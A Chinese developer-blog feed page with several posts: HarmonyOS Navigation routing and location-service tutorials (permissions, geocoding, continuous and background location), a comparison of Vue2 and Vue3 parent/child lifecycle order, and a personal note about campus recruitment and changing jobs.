// 返回到上一个PageOne页面
this.pageStack.popToName("PageOne")
// 返回到索引为1的页面
this.pageStack.popToIndex(1)
// 返回到根首页(清除栈中所有页面)
this.pageStack.clear()

页面替换

// 将栈顶页面替换为PageOne
this.pageStack.replacePath({ name: "PageOne", param: "PageOne Param" })
this.pageStack.replacePathByName("PageOne", "PageOne Param")

页面删除

// 删除栈中name为PageOne的所有页面
this.pageStack.removeByName("PageOne")
// 删除指定索引的页面
this.pageStack.removeByIndexes([1,3,5])

参数获取

// 获取栈中所有页面name集合
this.pageStack.getAllPathName()
// 获取索引为1的页面参数
this.pageStack.getParamByIndex(1)
// 获取PageOne页面的参数
this.pageStack.getParamByName("PageOne")
// 获取PageOne页面的索引集合
this.pageStack.getIndexByName("PageOne")

路由拦截

在页面的初始生命周期中设置

aboutToAppear(): void {
  this.pageStack.setInterception({
  willShow: (from: NavDestinationContext | NavBar, to: NavDestinationContext | NavBar,
       operation: NavigationOperation, isAnimated: boolean) => {
         if (typeof to === "string") return; 
         if (to.pathInfo.name === "dialogPage") {
           to.pathStack.pop();
           to.pathStack.pushPath({ name: "page1", param: "bbbb" })
         }
       }
  })
}

2.5 跨包动态路由-系统路由表

准备生成Navigation的route_map路由

a)给模块创建系统路由表 (也就是针对于Navigation以后还是通过配置文件生成路由)

创建resources/base/profile/route_map.json(切记route不加r)路由配置文件,填写下述代码

{
  "routerMap": [
    {
      # 路由名  也就是跳转名
      "name": "Home或者Profile",    
      # 改名字对应的页面 
      "pageSourceFile": "src/main/ets/pages/Profile.ets",     
      
      # 切记MainPage.ets这个文件必须用MainPageBuilder当做入口(比较抽象跟着写  写完反过来看才能理解)
      "buildFunction": "MainPageBuilder",    
      "data": {
        "description" : "this is PageOne"
      }
    }
  ]
}

b)让创建route_map.json生效 也就是跟模块绑定

修改模块的module.json5文件 "routerMap": "$profile:route_map",

{
  "module": {
  
    "routerMap": "$profile:route_map",
    
    "name": "cartHar",
    "type": "har",
    "deviceTypes": [
      "default",
      "tablet",
      "2in1"
    ]
  }
}

后续创建页面跳转

a)必须按照下述格式创建页面

按照系统路由表需要的组件格式修改组件 `src/main/ets/components/MainPage.ets`

```plain
// 跳转页面入口函数
@Builder
export function MainPageBuilder() {  // 细节2:按照这个格式配置
  MainPage()
}


@Component
struct MainPage { // 细节1.1:不用导出  但是必须按照上述配置

  build() {
    NavDestination() { // 细节1.2:必须通过NavDestination写
      Text('内容').fontSize(30)
    }
    .title('CartHar/MainPage')
    .hideTitleBar(false)
  }
}
```


b)通过NavPathStack跳转

2.6 跨包动态路由-自定义路由表 HMRouter

千锋生鲜项目

2.7 企业级面试题

  • Navigation 和 Router 区别
1 路由有闪屏的问题、Navigation更流畅
2 Navigation更适合一次开发、多端适配
3 Navigation页面转场动画更方便
4 跨模块开发Navigation更方便
等等
  • 如何用的
传统:1-创建页面、2-配置路由main_pages、3-router跳转
现在:
- 准备:Navigation动态路由-系统路由表配置:1-创建route_map.json写配置、2-注册把1的文件跟项目关联module.json5、3-入口文件Navigation配置
- 后续1:创建页面  必须按照系统路由规则去创建 (必须写NavDestination 然后不写导出但是必须被@Builder调用)
- 后续2:配置该页面路由就可以跳转

鸿蒙开发班级

✨家人们点个juejin账号关注,会持续发布大前端领域技术文章💕 🍃

✨家人们点个juejin账号关注,会持续发布大前端领域技术文章💕 🍃

✨家人们点个juejin账号关注,会持续发布大前端领域技术文章💕 🍃

    ^_^ 点关注、不迷路、主播带你学技术 (๑′ᴗ‵๑)I Lᵒᵛᵉᵧₒᵤ❤

HarmonyOS 位置服务全攻略:精准定位、地理编码与后台持续定位实现

作者 IT充电站
2025年11月27日 13:21

✨家人们记得点个账号关注,会持续发布大前端领域技术文章💕 🍃

在 HarmonyOS 应用开发中,位置服务是许多场景的核心能力 —— 无论是本地生活服务的附近推荐、导航应用的实时轨迹追踪,还是出行类 App 的后台定位,都离不开稳定、精准的位置获取能力。本文将从权限配置、位置获取、地理编码转换、持续定位到后台长时定位,一步步拆解 HarmonyOS 位置服务的完整实现流程,附带可直接复用的代码示例,助力开发者快速落地功能。

获取设备的位置信息

1-配置申请位置权限 同时申请ohos.permission.APPROXIMATELY_LOCATION和ohos.permission.LOCATION 获取到精准位置,精准度在米级别。

2-检查全局位置开关是否打开 geoLocationManager.isLocationEnabled();

  • 2.1 没开 atManager.requestGlobalSwitch(getContext(this), abilityAccessCtrl.SwitchType.LOCATION) 拉起全局设置位置开关页
  • 2.2 开了 继续

3-获取当前位置 geoLocationManager.getCurrentLocation(request) 可以获取用户经度纬度

4-可以继续通过geoLocationManager.getAddressesFromLocation()地理编码转化为可读性较强地址

  • 获取设备的位置信息,需要有位置权限,位置权限申请
// 位置信息(权限组)
{
  "name": "ohos.permission.APPROXIMATELY_LOCATION",
  "reason": '$string:permission_reason_location',
  "usedScene": {}
},
{
  "name": "ohos.permission.LOCATION",
  "reason": '$string:permission_reason_location',
  "usedScene": {}
},

按照步骤申请权限 developer.huawei.com/consumer/cn…

import { geoLocationManager } from '@kit.LocationKit';
import { abilityAccessCtrl, Context, common } from '@kit.AbilityKit';
import { BusinessError } from '@kit.BasicServicesKit';
import { permissionUtil } from '../utils/PermissionUtil';

@Entry
@Component
struct Index {
  build() {
    Button('获取位置信息').onClick(async () => {
      // 1 配置文件 申请权限   同时申请ohos.permission.APPROXIMATELY_LOCATION和ohos.permission.LOCATION 获取到精准位置,精准度在米级别。
      const state = await permissionUtil.checkPermissions(['ohos.permission.APPROXIMATELY_LOCATION', 'ohos.permission.LOCATION'], getContext());
      if (!state) return

      // 2 检查全局开关  开了-继续走,没开-弹出让他授权
      const locationEnabled = geoLocationManager.isLocationEnabled();
      console.log('查看当前全局开关状态:', locationEnabled)

      if (!locationEnabled) {  // 没开
        const atManager: abilityAccessCtrl.AtManager = abilityAccessCtrl.createAtManager();
        const state = await atManager.requestGlobalSwitch(getContext(), abilityAccessCtrl.SwitchType.LOCATION)
        if (!state) return  // 拉起全局弹出 用户没授权就终止代码执行
      }

      // 3. 获取位置信息  经度纬度
      geoLocationManager.getCurrentLocation( {
        locatingPriority: geoLocationManager.LocatingPriority.PRIORITY_LOCATING_SPEED,
        locatingTimeoutMs: 10000
      }).then((result) => { // 调用getCurrentLocation获取当前设备位置,通过promise接收上报的位置
        console.log('current location: ' + JSON.stringify(result));
      })
        .catch((error:BusinessError) => { // 接收上报的错误码
          console.error('promise, getCurrentLocation: error=' + JSON.stringify(error));
        });
      // .....
    })
  }
}

地理编码转化与逆地理编码转化

使用坐标描述一个位置,非常准确,但是并不直观,面向用户表达并不友好。系统向开发者提供了以下两种转化能力。

  • 地理编码转化:将地理描述转化为具体坐标。
  • 逆地理编码转化能力:将坐标转化为地理描述。

其中地理编码包含多个属性来描述位置,包括国家、行政区划、街道、门牌号、地址描述等等,这样的信息更便于用户理解。

开发步骤

  1. 导入geoLocationManager模块,所有与地理编码转化&逆地理编码转化能力相关的功能API,都是通过该模块提供的。
import { geoLocationManager } from '@kit.LocationKit';

2.获取转化结果。

调用getAddressesFromLocation,把坐标转化为地理位置信息。应用可以获得与此坐标匹配的GeoAddress(地理编码地址信息)列表,应用可以根据实际使用需求,读取相应的参数数据。

let reverseGeocodeRequest:geoLocationManager.ReverseGeoCodeRequest = {
  locale: 'zh',
  "latitude": 31.12, "longitude": 121.11, "maxItems": 1
};
try {
    geoLocationManager.getAddressesFromLocation(reverseGeocodeRequest, (err, data) => {
        if (err) {
            console.log('getAddressesFromLocation err: ' + JSON.stringify(err));
        } else {
            console.log('getAddressesFromLocation data: ' + JSON.stringify(data));
        }
    });
} catch (err) {
    console.error("errCode:" + JSON.stringify(err));
}

3.示例代码

import { geoLocationManager } from '@kit.LocationKit';
import { abilityAccessCtrl, Context, common } from '@kit.AbilityKit';
import { BusinessError } from '@kit.BasicServicesKit';
import { permissionUtil } from '../utils/PermissionUtil';

@Entry
@Component
struct Index {
  build() {
    Button('获取位置信息').onClick(async () => {
      // 1 配置文件 申请权限   同时申请ohos.permission.APPROXIMATELY_LOCATION和ohos.permission.LOCATION 获取到精准位置,精准度在米级别。
      const state = await permissionUtil.checkPermissions(['ohos.permission.APPROXIMATELY_LOCATION', 'ohos.permission.LOCATION'], getContext());
      if (!state) return

      // 2 检查全局开关  开了-继续走,没开-弹出让他授权
      const locationEnabled = geoLocationManager.isLocationEnabled();
      console.log('查看当前全局开关状态:', locationEnabled)

      if (!locationEnabled) {  // 没开
        const atManager: abilityAccessCtrl.AtManager = abilityAccessCtrl.createAtManager();
        const state = await atManager.requestGlobalSwitch(getContext(), abilityAccessCtrl.SwitchType.LOCATION)
        if (!state) return  // 拉起全局弹出 用户没授权就终止代码执行
      }

      // 3. 获取位置信息  经度纬度
      geoLocationManager.getCurrentLocation( {
        locatingPriority: geoLocationManager.LocatingPriority.PRIORITY_LOCATING_SPEED,
        locatingTimeoutMs: 10000
      }).then((result) => { // 调用getCurrentLocation获取当前设备位置,通过promise接收上报的位置
        console.log('current location: ' + JSON.stringify(result))

        // 正地理编码与逆地理编码
        geoLocationManager.getAddressesFromLocation({"latitude": result.latitude, "longitude": result.longitude, "maxItems": 1}, (err, data) => {
          if (err) {
            console.log('getAddressesFromLocation err: ' + JSON.stringify(err));
          } else {
            console.log('getAddressesFromLocation data: ' + JSON.stringify(data));
          }
        });
        // 正地理编码与逆地理编码 end
      })
        .catch((error:BusinessError) => { // 接收上报的错误码
          console.error('promise, getCurrentLocation: error=' + JSON.stringify(error));
        });
      // .....
    })
  }
}

持续定位

持续定位。多用于导航、运动轨迹、出行等场景。

首先要实例化ContinuousLocationRequest对象,用于告知系统该向应用提供何种类型的位置服务,以及位置结果上报的频率。

  • 设置locationScenario:

建议locationScenario参数优先根据应用的使用场景进行设置,该参数枚举值定义参见UserActivityScenario,例如地图在导航时使用NAVIGATION参数,可以持续在室内和室外场景获取位置用于导航。

  • 设置interval:

表示上报位置信息的时间间隔,单位是秒,默认值为1秒。如果对位置上报时间间隔无特殊要求,可以不填写该字段。

以地图导航场景为例,调用方式如下:

import { geoLocationManager } from '@kit.LocationKit';
let request: geoLocationManager.ContinuousLocationRequest= {
   'interval': 1,
   'locationScenario': geoLocationManager.UserActivityScenario.NAVIGATION
}
let locationCallback = (location:geoLocationManager.Location):void => {
   console.log('locationCallback: data: ' + JSON.stringify(location));
};
try {
   geoLocationManager.on('locationChange', request, locationCallback);
} catch (err) {
   console.error("errCode:" + JSON.stringify(err));
}

如果不主动结束定位可能导致设备功耗高,耗电快;建议在不需要获取定位信息时及时结束定位。

geoLocationManager.off('locationChange', locationCallback);

完整实例代码

import { geoLocationManager } from '@kit.LocationKit';
import { abilityAccessCtrl } from '@kit.AbilityKit';
import { permissionUtil } from '../utils/PermissionUtil';

@Entry
@Component
struct Index {

  locationCallback(location:geoLocationManager.Location)  {
    console.log('locationCallback: data: ' + JSON.stringify(location));
  }

  aboutToDisappear() {
    geoLocationManager.off('locationChange', this.locationCallback);
  }

  build() {
    Button('获取位置信息').onClick(async () => {
      // 1 配置文件 申请权限   同时申请ohos.permission.APPROXIMATELY_LOCATION和ohos.permission.LOCATION 获取到精准位置,精准度在米级别。
      const state = await permissionUtil.checkPermissions(['ohos.permission.APPROXIMATELY_LOCATION', 'ohos.permission.LOCATION'], getContext());
      if (!state) return

      // 2 检查全局开关  开了-继续走,没开-弹出让他授权
      const locationEnabled = geoLocationManager.isLocationEnabled();
      console.log('查看当前全局开关状态:', locationEnabled)

      if (!locationEnabled) {  // 没开
        const atManager: abilityAccessCtrl.AtManager = abilityAccessCtrl.createAtManager();
        const state = await atManager.requestGlobalSwitch(getContext(), abilityAccessCtrl.SwitchType.LOCATION)
        if (!state) return  // 拉起全局弹出 用户没授权就终止代码执行
      }

      // 3. 获取位置信息  经度纬度 【持续定位。多用于导航、运动轨迹、出行等场景。】
      geoLocationManager.on('locationChange', {
        interval: 1,
        locationScenario: geoLocationManager.UserActivityScenario.NAVIGATION
      }, this.locationCallback);

      // .....
    })
  }
}

后台定位-长时任务

应用退至后台后,在后台需要长时间运行用户可感知的任务,如播放音乐、导航等。为防止应用进程被挂起,导致对应功能异常,可以申请长时任务,使应用在后台长时间运行。在长时任务中可以申请多种类型的任务,并对任务类型进行更新。应用退后台执行业务时,系统会做一致性校验,确保应用在执行相应的长时任务。同时,系统有与长时任务相关联的通知栏消息,用户删除通知栏消息时,系统会自动停止长时任务。

1.需要申请ohos.permission.KEEP_BACKGROUND_RUNNING权限,配置方式请参见声明权限

2.声明后台模式类型。

在module.json5配置文件中为需要使用长时任务的UIAbility声明相应的长时任务类型(配置文件中填写长时任务类型的配置项)。

 "module": {
     "abilities": [
         {
        "name": "EntryAbility",
           // ...
              // ...
              // 
              "backgroundModes": [
              // 长时任务类型的配置项
             "audioRecording"
               或者
          "location"]
         }
     ],
     ...
 }
  1. 创建BackgroundTaskUtil.ets文件封装长短时任务
import { backgroundTaskManager } from '@kit.BackgroundTasksKit';
import { BusinessError } from '@kit.BasicServicesKit';
import { common, WantAgent, wantAgent } from '@kit.AbilityKit';

class BackgroundTaskUtil {

  // 长任务-开启
  startLongTask(list:string[], callback: () => void) {  // list任务类型, callback开启成功后走的回调
    let wantAgentInfo: wantAgent.WantAgentInfo = {
      // 点击通知后,将要执行的动作列表
      // 添加需要被拉起应用的bundleName和abilityName
      wants: [
        {
          bundleName: (getContext() as common.UIAbilityContext).abilityInfo.bundleName,
          abilityName: "EntryAbility"
        }
      ],
      // 指定点击通知栏消息后的动作是拉起ability
      actionType: wantAgent.OperationType.START_ABILITY,
      // 使用者自定义的一个私有值
      requestCode: 0,
      // 点击通知后,动作执行属性
      actionFlags: [wantAgent.WantAgentFlags.UPDATE_PRESENT_FLAG],
      // 车钥匙长时任务子类型。只有申请bluetoothInteraction类型的长时任务,车钥匙子类型才能生效。
      // 确保extraInfo参数中的Key值为backgroundTaskManager.BackgroundModeType.SUB_MODE,否则子类型不生效。
      // extraInfo: { [backgroundTaskManager.BackgroundModeType.SUB_MODE] : backgroundTaskManager.BackgroundSubMode.CAR_KEY }
    };

    try {
      // 通过wantAgent模块下getWantAgent方法获取WantAgent对象
      wantAgent.getWantAgent(wantAgentInfo).then((wantAgentObj: WantAgent) => {
        try {
          // let list: Array<string> = ["audioRecording"];
          // let list: Array<string> = ["bluetoothInteraction"]; 长时任务类型包含bluetoothInteraction,CAR_KEY子类型合法
          backgroundTaskManager.startBackgroundRunning(getContext(), list, wantAgentObj).then((res: backgroundTaskManager.ContinuousTaskNotification) => {
            console.info("Operation startBackgroundRunning succeeded");
            // 此处执行具体的长时任务逻辑,如录音,录制等。
            // 写尝试任务
            callback()
          }).catch((error: BusinessError) => {
            console.error(`Failed to Operation startBackgroundRunning. code is ${error.code} message is ${error.message}`);
          });
        } catch (error) {
          console.error(`Failed to Operation startBackgroundRunning. code is ${(error as BusinessError).code} message is ${(error as BusinessError).message}`);
        }
      });
    } catch (error) {
      console.error(`Failed to Operation getWantAgent. code is ${(error as BusinessError).code} message is ${(error as BusinessError).message}`);
    }

  }
  // 长任务-关闭
  stopLongTask() {
    backgroundTaskManager.stopBackgroundRunning(getContext()).then(() => {
      console.info(`Succeeded in operationing stopBackgroundRunning.`);
    }).catch((err: BusinessError) => {
      console.error(`Failed to operation stopBackgroundRunning. Code is ${err.code}, message is ${err.message}`);
    });
  }

  // 短任务-开启
  // 短任务-关闭
}

export  const backgroundTaskUtil = new BackgroundTaskUtil()
  • 示例代码
import { geoLocationManager } from '@kit.LocationKit';
import { abilityAccessCtrl } from '@kit.AbilityKit';
import { permissionUtil } from '../utils/PermissionUtil';
import { backgroundTaskUtil } from '../utils/BackgroundTaskUtil';

@Entry
@Component
struct Index {

  locationCallback(location:geoLocationManager.Location)  {
    console.log('locationCallback: data: ' + JSON.stringify(location));
  }

  aboutToDisappear() {
    geoLocationManager.off('locationChange', this.locationCallback);
  }

  build() {
    Button('获取位置信息').onClick(async () => {
      // 1 配置文件 申请权限   同时申请ohos.permission.APPROXIMATELY_LOCATION和ohos.permission.LOCATION 获取到精准位置,精准度在米级别。
      const state = await permissionUtil.checkPermissions(['ohos.permission.APPROXIMATELY_LOCATION', 'ohos.permission.LOCATION'], getContext());
      if (!state) return

      // 2 检查全局开关  开了-继续走,没开-弹出让他授权
      const locationEnabled = geoLocationManager.isLocationEnabled();
      console.log('查看当前全局开关状态:', locationEnabled)

      if (!locationEnabled) {  // 没开
        const atManager: abilityAccessCtrl.AtManager = abilityAccessCtrl.createAtManager();
        const state = await atManager.requestGlobalSwitch(getContext(), abilityAccessCtrl.SwitchType.LOCATION)
        if (!state) return  // 拉起全局弹出 用户没授权就终止代码执行
      }

      // 3. 获取位置信息  经度纬度 【持续定位。多用于导航、运动轨迹、出行等场景。】
      backgroundTaskUtil.startLongTask(['location'], () => {
        geoLocationManager.on('locationChange', {
          interval: 1,
          locationScenario: geoLocationManager.UserActivityScenario.NAVIGATION
        }, this.locationCallback);
      })
      // .....
    })
  }
}

鸿蒙开发者班级

✨家人们点个juejin账号关注,会持续发布大前端领域技术文章💕 🍃

✨家人们点个juejin账号关注,会持续发布大前端领域技术文章💕 🍃

✨家人们点个juejin账号关注,会持续发布大前端领域技术文章💕 🍃

    ^_^ 点关注、不迷路、主播带你学技术 (๑′ᴗ‵๑)I Lᵒᵛᵉᵧₒᵤ❤

vue2、vue3父子组件嵌套生命周期执行顺序

2025年11月27日 12:39

vue2版本

生命周期:

beforeCreate created beforeMount mounted beforeUpdate updated beforeDestroy destroyed activated deactivated

1. 组件挂载阶段(Mounting)

执行顺序:


// 创建和挂载过程

父组件 beforeCreate

父组件 created

父组件 beforeMount

  子组件 beforeCreate

  子组件 created

  子组件 beforeMount

  子组件 mounted

父组件 mounted

代码示例:

<!-- Parent.vue -->
<template>
  <div>
    <h2>父组件</h2>
    <ChildComponent />
  </div>
</template>

<script>
import ChildComponent from './Child.vue'

export default {
  name: 'Parent',
  components: { ChildComponent },
  beforeCreate() {
    console.log('1. 父组件 beforeCreate')
  },
  created() {
    console.log('2. 父组件 created')
  },
  beforeMount() {
    console.log('3. 父组件 beforeMount')
  },
  mounted() {
    console.log('6. 父组件 mounted')
  }
}
</script>

<!-- Child.vue -->
<template>
  <div>
    <h3>子组件</h3>
  </div>
</template>

<script>
export default {
  name: 'Child',
  beforeCreate() {
    console.log('4. 子组件 beforeCreate')
  },
  created() {
    console.log('4.1 子组件 created')
  },
  beforeMount() {
    console.log('4.2 子组件 beforeMount')
  },
  mounted() {
    console.log('5. 子组件 mounted')
  }
}
</script>

2. 组件更新阶段(Updating)

总结:

vue2中,只要子组件使用了,父组件传入的值,当该值更新时,子组件的更新生命周期就会执行,其他情况,子组件的更新生命周期都不会执行

更新父组件--子组件使用了,父组件传入的参数

执行顺序:
// 更新过程(数据变化时)

父组件 beforeUpdate

  子组件 beforeUpdate

  子组件 updated

父组件 updated
代码示例:
<!-- Parent.vue -->
<template>
  <div>
    <h2>父组件 - {{ parentData }}</h2>
    <button @click="changeData">改变数据</button>
    <ChildComponent :childData="parentData" />
  </div>
</template>

<script>
import ChildComponent from './Child.vue'

export default {
  components: { ChildComponent },
  data() {
    return {
      parentData: '初始值'
    }
  },
  methods: {
    changeData() {
      this.parentData = '新值'
    }
  },
  beforeUpdate() {
    console.log('1. 父组件 beforeUpdate')
  },
  updated() {
    console.log('4. 父组件 updated')
  }
}
</script>

<!-- Child.vue -->
<template>
  <div>
    <h3>子组件 - {{ childData }}</h3>
  </div>
</template>

<script>
export default {
  props: ['childData'],
  beforeUpdate() {
    console.log('2. 子组件 beforeUpdate')
  },
  updated() {
    console.log('3. 子组件 updated')
  }
}
</script>

更新父组件--子组件没有使用,父组件传入的参数(即使有传入值给子组件)

执行顺序:
// 更新过程(数据变化时)

父组件 beforeUpdate

父组件 updated
代码示例:
<!-- Parent.vue -->
<template>
  <div>
    <h2>父组件 - {{ parentData }}</h2>
    <button @click="changeData">改变数据</button>
    <ChildComponent :childData="parentData" />
    <!-- <ChildComponent :childData="parentData" /> -->
  </div>
</template>
<script>
import ChildComponent from '@/components/two/Child.vue'
export default {
  components: { ChildComponent },
  data() {
    return {
      parentData: '初始值'
    }
  },
  methods: {
    changeData() {
      this.parentData = '新值'
    }
  },
  beforeUpdate() {
    console.log('1. 父组件 beforeUpdate')
  },
  updated() {
    console.log('4. 父组件 updated')
  }
}
</script>



<!-- Child.vue -->
<template>
  <div>
    <!-- <h3>子组件 - {{ childData }}</h3> -->
    <h3>子组件</h3>
  </div>
</template>
<script>
export default {
  props: ['childData'],
  beforeUpdate() {
    console.log('2. 子组件 beforeUpdate')
  },
  updated() {
    console.log('3. 子组件 updated')
  }
}
</script>


更新子组件

执行顺序:
// 更新过程(数据变化时)

子组件 beforeUpdate

子组件 updated
代码示例:
<!-- Parent.vue -->
<template>
  <div>
    <h2>父组件 - {{ parentData }}</h2>
    <button @click="changeData">改变数据</button>
    <ChildComponent/>
  </div>
</template>
<script>
import ChildComponent from '@/components/two/Child.vue'
export default {
  components: { ChildComponent },
  data() {
    return {
      parentData: '初始值'
    }
  },
  methods: {
    changeData() {
      this.parentData = '新值'
    }
  },
  beforeUpdate() {
    console.log('1. 父组件 beforeUpdate')
  },
  updated() {
    console.log('4. 父组件 updated')
  }
}
</script>


<!-- Child.vue -->
<template>
  <div style="border: 1px solid #ccc; padding: 10px; margin: 10px;">
    <h2>Child Component - {{ childMessage }}</h2>
    <button @click="changeChildData">改变子组件数据</button>
    <p>计数: {{ count }}</p>
  </div>
</template>

<script>
export default {
  data() {
    return {
      childMessage: '子组件初始数据',
      count: 0
    }
  },
  methods: {
    changeChildData() {
      this.childMessage = '子组件数据已更新'
      this.count++
      console.log('=== 子组件数据变化触发 ===')
    }
  },
  beforeUpdate() { console.log('Child beforeUpdate') },
  updated() { console.log('Child updated') },

}
</script>



3. 组件销毁阶段(Destroying)

销毁父组件

执行顺序:
// 销毁过程

父组件 beforeDestroy

  子组件 beforeDestroy

  子组件 destroyed

父组件 destroyed
代码示例:
<!-- Parent.vue -->
<template>
  <div>
    <h2>父组件</h2>
    <ChildComponent v-if="showChild" />
    <button @click="showChild = false">销毁子组件</button>
  </div>
</template>
<script>
import ChildComponent from '@/components/two/Child.vue'
export default {
  components: { ChildComponent },
  data() {
    return {
      showChild: true
    }
  },
  beforeDestroy() {
    console.log('父组件 beforeDestroy')
  },
  destroyed() {
    console.log('父组件 destroyed')
  }
}
</script>

销毁子组件

执行顺序:
// 销毁过程

 子组件 beforeDestroy

 子组件 destroyed

代码示例:见销毁父组件的代码

vue3版本

生命周期:

setup()替代 beforeCreate setup()替代 created onBeforeMount onMounted onBeforeUpdate onUpdated onBeforeUnmount onUnmounted onActivated onDeactivated onRenderTracked(新增) onRenderTriggered(新增)

1. 组件挂载阶段(Mounting)

执行顺序:

1. 父组件 setup (相当于 beforeCreate + created)
2. 父组件 onBeforeMount
    3. 子组件 setup
    3.1 子组件 onBeforeMount
    4. 子组件 onMounted
5. 父组件 onMounted

代码示例:

<!-- Parent.vue -->
<template>
  <div>
    <h2>父组件</h2>
    <ChildComponent />
  </div>
</template>
<script setup>
import { onBeforeMount, onMounted } from 'vue'
import ChildComponent from '../Son/s1.vue'
console.log('1. 父组件 setup (相当于 beforeCreate + created)')
onBeforeMount(() => {
  console.log('2. 父组件 onBeforeMount')
})
onMounted(() => {
  console.log('5. 父组件 onMounted')
})
</script>


<!-- Child.vue -->
<template>
  <div>
    <h3>子组件</h3>
  </div>
</template>
<script setup>
import { onBeforeMount, onMounted } from 'vue'
console.log('3. 子组件 setup')
onBeforeMount(() => {
  console.log('3.1 子组件 onBeforeMount')
})
onMounted(() => {
  console.log('4. 子组件 onMounted')
})
</script>

2. 组件更新阶段(Updating)

总结:

vue3中,只要父组件往子组件传入了值,当该值更新时,子组件的更新生命周期就会执行,其他情况,子组件的更新生命周期都不会执行

更新父组件--子组件使用了,父组件传入的参数

执行顺序:
// 更新过程(数据变化时)

父组件 beforeUpdate

  子组件 beforeUpdate

  子组件 updated

父组件 updated
代码示例:
<!-- Parent.vue -->
<template>
  <div>
    <h2>父组件 - {{ parentData }}</h2>
    <button @click="changeData">改变数据</button>
    <ChildComponent :childData="parentData" />
  </div>
</template>
<script setup>
import { ref, onBeforeUpdate, onUpdated } from 'vue'
import ChildComponent from '../Son/s1.vue'
const parentData = ref('初始值')
const changeData = () => {
  parentData.value = '新值'
}
onBeforeUpdate(() => {
  console.log('1. 父组件 onBeforeUpdate')
})
onUpdated(() => {
  console.log('4. 父组件 onUpdated')
})
</script>


<!-- Child.vue -->
<template>
  <div>
    <h3>子组件 - {{ props.childData }}</h3>
  </div>
</template>
<script setup>
import { onBeforeUpdate, onUpdated, defineProps } from 'vue'

const props = defineProps(['childData'])

onBeforeUpdate(() => {
  console.log('2. 子组件 onBeforeUpdate')
})

onUpdated(() => {
  console.log('3. 子组件 onUpdated')
})

</script>

更新父组件--父组件传值给子组件,即使子组件没有使用 和 定义对应的属性

如果父组件没有传值给子组件,即使子组件定义 和 使用了值,当父组件更新时,子组件也不会更新,即:生命周期是:

父组件 beforeUpdate -> 父组件 updated

执行顺序:
// 更新过程(数据变化时)

父组件 beforeUpdate

  子组件 beforeUpdate

  子组件 updated

父组件 updated
代码示例:
<!-- Parent.vue -->
<template>
  <div>
    <h2>父组件 - {{ parentData }}</h2>
    <button @click="changeData">改变数据</button>
    <ChildComponent :childData="parentData" />
    <!-- <ChildComponent  /> -->
  </div>
</template>
<script setup>
import { ref, onBeforeUpdate, onUpdated } from 'vue'
import ChildComponent from '../Son/s1.vue'
const parentData = ref('初始值')
const changeData = () => {
  parentData.value = '新值'
}
onBeforeUpdate(() => {
  console.log('1. 父组件 onBeforeUpdate')
})
onUpdated(() => {
  console.log('4. 父组件 onUpdated')
})
</script>


<!-- Child.vue -->
<template>
  <div>
    <h3>子组件</h3>
    <!-- <h3>子组件 - {{ props.childData }}</h3> -->
  </div>
</template>
<script setup>
import { onBeforeUpdate, onUpdated, defineProps } from 'vue'

// const props = defineProps(['childData'])

onBeforeUpdate(() => {
  console.log('2. 子组件 onBeforeUpdate')
})

onUpdated(() => {
  console.log('3. 子组件 onUpdated')
})
</script>

更新子组件

执行顺序:
// 更新过程(数据变化时)

子组件 beforeUpdate

子组件 updated
代码示例:
<!-- Parent.vue -->
<template>
  <div>
    <h2>父组件</h2>
    <!-- <h2>父组件 - {{ parentData }}</h2> -->
    <!-- <button @click="changeData">改变数据</button> -->
    <ChildComponent :childData="parentData" />
    <!-- <ChildComponent  /> -->
  </div>
</template>
<script setup>
import { ref, onBeforeUpdate, onUpdated } from 'vue'
import ChildComponent from '../Son/s1.vue'
const parentData = ref('初始值')
const changeData = () => {
  parentData.value = '新值'
}
onBeforeUpdate(() => {
  console.log('1. 父组件 onBeforeUpdate')
})
onUpdated(() => {
  console.log('4. 父组件 onUpdated')
})
</script>


<!-- Child.vue -->
<template>
  <div>
    <!-- <h3>子组件</h3> -->
    <h2>子组件 - {{ sonData }}</h2>
    <button @click="changeData">改变数据</button>
  </div>
</template>
<script setup>
import { onBeforeUpdate, onUpdated,ref, defineProps } from 'vue'

// const props = defineProps(['childData'])

const sonData = ref('初始值')
const changeData = () => {
  sonData.value = '新值'
}

onBeforeUpdate(() => {
  console.log('2. 子组件 onBeforeUpdate')
})

onUpdated(() => {
  console.log('3. 子组件 onUpdated')
})
</script>

3. 组件销毁阶段(Destroying)

销毁父组件

执行顺序:
// 销毁过程

父组件 beforeDestroy

  子组件 beforeDestroy

  子组件 destroyed

父组件 destroyed
代码示例:
<!-- Parent.vue -->
<template>
  <div>
    <h2>父组件</h2>
    <ChildComponent v-if="showChild" />
    <button @click="showChild = false">卸载子组件</button>
  </div>
</template>
<script setup>
import { ref, onBeforeUnmount, onUnmounted } from 'vue'
import ChildComponent from '../Son/s1.vue'
const showChild = ref(true)
onBeforeUnmount(() => {
  console.log('父组件 onBeforeUnmount')
})
onUnmounted(() => {
  console.log('父组件 onUnmounted')
})
</script>



<!-- Child.vue -->
<template>
  <div>
    <!-- <h3>子组件</h3> -->
    <h2>子组件</h2>
  </div>
</template>
<script setup>
import { onBeforeUnmount, onUnmounted,ref, defineProps } from 'vue'

onBeforeUnmount(() => {
  console.log('子组件 onBeforeUnmount')
})
onUnmounted(() => {
  console.log('子父组件 onUnmounted')
})
</script>

销毁子组件

执行顺序:
// 销毁过程

 子组件 beforeDestroy

 子组件 destroyed

代码示例:见销毁父组件的代码

双非同学校招笔记——离开字节入职小📕

作者 July_lly
2025年11月27日 12:19

本文纯属个人碎碎念,想到哪写到哪,不喜勿喷,也请不要上升到“公司员工文笔水平”这种维度。

一些概括

接触前端也两年了。还记得 23 年初跟着 B 站黑马的课程学 HTML、CSS,从 <div /><span /> 这些最基础的标签开始,一点点摸索,再到后来接触 JavaScript、Vue、React。

学习的过程中,也在网上加入了不少学习群,认识了许多同路人、前辈和朋友。

当时写下这篇 👉 《快手 ks 前端实习小记》
还是我在快手的 last day。转眼 9 个多月过去,现在我又来到小红书,只能说——人生无常,大肠包小肠。

image.png

关于秋招

其实秋招我没投很多公司,一方面是在字节实习,另一方面很多公司也确实不太想去。当然,说实话,也没有几家公司来约我面试😄。

cdf952d901750c159e868b437ba05b73.jpg

我在字节待过两个部门:直播和生服。
在直播待了半年,但因为 HC 的原因,连答辩流程都没推进。后来转去杭州的生服,两个月提前答辩通过了,但因为薪资和业务方向原因,最后还是没有过去,选择离职。

离职后,TT 直播连续给我发了 5 次面试邀请。虽然我说明了拒绝原因,但 HR 和老板还是希望我再面一下。于是 3 天推进了 3 轮。
记得 3 面老板问我最后的一个问题:

“为什么你都过了,还离职拒了?”

我如实说是薪资原因(但是没说业务原因)。老板说他下播后会跟另外两个面试官聊聊。
